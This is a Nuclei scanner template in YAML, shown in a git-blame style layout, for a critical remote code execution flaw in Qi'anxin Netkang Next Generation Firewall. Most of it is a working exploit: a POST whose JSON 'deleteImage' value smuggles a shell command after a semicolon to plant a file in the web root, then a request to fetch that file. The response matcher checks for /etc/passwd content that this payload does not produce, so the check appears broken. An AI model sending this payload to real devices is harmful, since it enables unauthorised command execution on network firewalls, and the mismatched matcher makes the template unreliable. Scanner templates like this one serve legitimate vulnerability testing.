2021-04-13 07:13:07 +00:00
|
|
|
id: qi-anxin-netkang-next-generation-firewall-rce
|
|
|
|
|
|
|
|
info:
|
2022-05-30 16:16:18 +00:00
|
|
|
name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution
|
2021-04-13 07:13:07 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-05-31 09:14:03 +00:00
|
|
|
description: |
|
|
|
|
Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
2022-05-30 16:16:18 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2022-05-31 09:14:03 +00:00
|
|
|
tags: rce,firewall,intrusive
|
2021-04-13 07:13:07 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /directdata/direct/router HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2022-05-31 09:14:03 +00:00
|
|
|
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
|
2021-09-08 12:17:19 +00:00
|
|
|
|
2021-04-13 07:13:07 +00:00
|
|
|
- |
|
2022-05-31 09:14:03 +00:00
|
|
|
GET /{{randstr}}.txt HTTP/1.1
|
2021-04-13 07:13:07 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2022-05-31 09:14:03 +00:00
|
|
|
part: body
|
2021-04-13 07:13:07 +00:00
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-04-13 07:13:07 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2022-05-30 16:16:18 +00:00
|
|
|
|
|
|
|
# Enhanced by mp on 2022/05/30
|